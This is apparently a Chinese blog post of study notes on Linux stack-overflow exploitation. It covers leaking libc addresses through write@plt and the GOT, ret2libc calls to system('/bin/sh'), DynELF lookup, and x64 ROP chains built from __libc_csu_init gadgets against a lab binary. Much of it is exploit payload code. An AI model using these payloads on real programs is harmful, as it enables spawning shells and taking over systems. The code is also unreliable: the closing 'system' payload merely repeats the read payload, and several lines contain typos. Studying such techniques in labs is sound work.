泄露地址和利用总结

已知libc.so

栈执行保护---------->调用libc.so system("/bin/sh")
关闭ASLR system在内存中的地址不会变化

如果elf中调用了print和read,那么我们就可以搜索内存直接调用。
如果开启ASLR, 我们可以根据got得到print@plt和system在libc.so中的偏移得到system
的地址。

read@plt write@plt 以及相关的got可以在调用的程序中通过elf格式搜索位置。因为程序本身的地址是不变化的。

当然 /bin/sh 字符串也可以在libc.so中的到。

所以关键就是得到libc.so的偏移。也就是突破aslr.

1.溢出点位置测试,
1) python pattern.py create 150生成字符串
2) python pattren.py offset 0x37654136
140

..........................................................................                                           低地址
                                                                                                                        +
                                                                                                                        +       	
 esp--->	buf->........                 //局部变量,保存的寄存器                             +              <-+
	                     .......                                                                                        +                 +
 esp--->  ebp   保存的ebp        //offset   0x37654136    140                            +                 +
   	                    ret                    //                                   144                             +            [esp-144]
   	                   参数1                                                                                        +
    	               参数2                                                                                        +
      	               参数.....                                                                                     +
.......................................................................                                          高地址

ssize_t write(int fd,const void *buf,size_t nbytes)

payload1 = ‘a’*140+p32(plt_wrtie)+p32(vulfun_addr)+p32(1)+p32(got_write)

..........................................................................                              低地址
                                                                                                           +
                                                                                                           +       	
 esp--->	buf->........                 //'a'*140                                             +              <-+
	                    .......                                                                            +                 +
 esp--->  ebp   保存的ebp        //                                                         +
   	                    ret                    //            p32(plt_wrtie)  //可调用         +             [esp-144]
   	                    参数1                               p32(vulfun_addr)                 +      //ret指向新函数增加一个返回函数
    	                参数2                               p32(1)                                 +
      	                参数.....                             p32(got_write)                    + 
                        .......                                  p32(4)
.......................................................................                               高地址

write_addr = p32.(p.recv(4))

system_addr = write_addr - (libc.symbols[‘write’]-libc.symbols[‘system’])

payload2 = ‘a’*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

小结

这里构造栈的时候有一个注意点,因为完整的调用栈是返回地址,参数1,2,3.这样子。当我们把返回地址参数覆盖的时候。程序返回的那个时刻,esp到了原来参数1的位置。eip跳转到了ret被覆盖的位置。那么此时栈的数据中,原来参数1所在的位置将会是此时新栈的ret地址。原来参数2,3,4的位置将会变成新函数栈参数1,2,3对应的位置。

不知道libc.so

d = DynELF(leak, elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')

.bss段是用来保存全局变量的值的,地址固定,并且可以读可写。

bss_addr = 0x0804a020
pppr = 0x804855d

payload2 = 'a'*140  + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)   //read三个参数
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
p.send(payload2)
p.send("/bin/sh\0")

64位溢出

linux_x64_ROP
x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,程序使用的内存地址不能大于0x00007fffffffffff
libc.so __libc_csu_init()

  4005f0:   4c 89 fa                mov    %r15,%rdx                                      <----------------------------
  4005f3:   4c 89 f6                mov    %r14,%rsi
  4005f6:   44 89 ef                mov    %r13d,%edi
  4005f9:   41 ff 14 dc             callq  *(%r12,%rbx,8)
  4005fd:   48 83 c3 01             add    $0x1,%rbx
  400601:   48 39 eb                cmp    %rbp,%rbx
  400604:   75 ea                   jne    4005f0 <__libc_csu_init+0x50>
  400606:   48 8b 5c 24 08          mov    0x8(%rsp),%rbx                         <----------------------------
  40060b:   48 8b 6c 24 10          mov    0x10(%rsp),%rbp
  400610:   4c 8b 64 24 18          mov    0x18(%rsp),%r12
  400615:   4c 8b 6c 24 20          mov    0x20(%rsp),%r13
  40061a:   4c 8b 74 24 28          mov    0x28(%rsp),%r14
  40061f:   4c 8b 7c 24 30          mov    0x30(%rsp),%r15
  400624:   48 83 c4 38             add    $0x38,%rsp
  400628:   c3                      retq  

write write.got

#!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

read /bin/sh

#!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

system

#!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值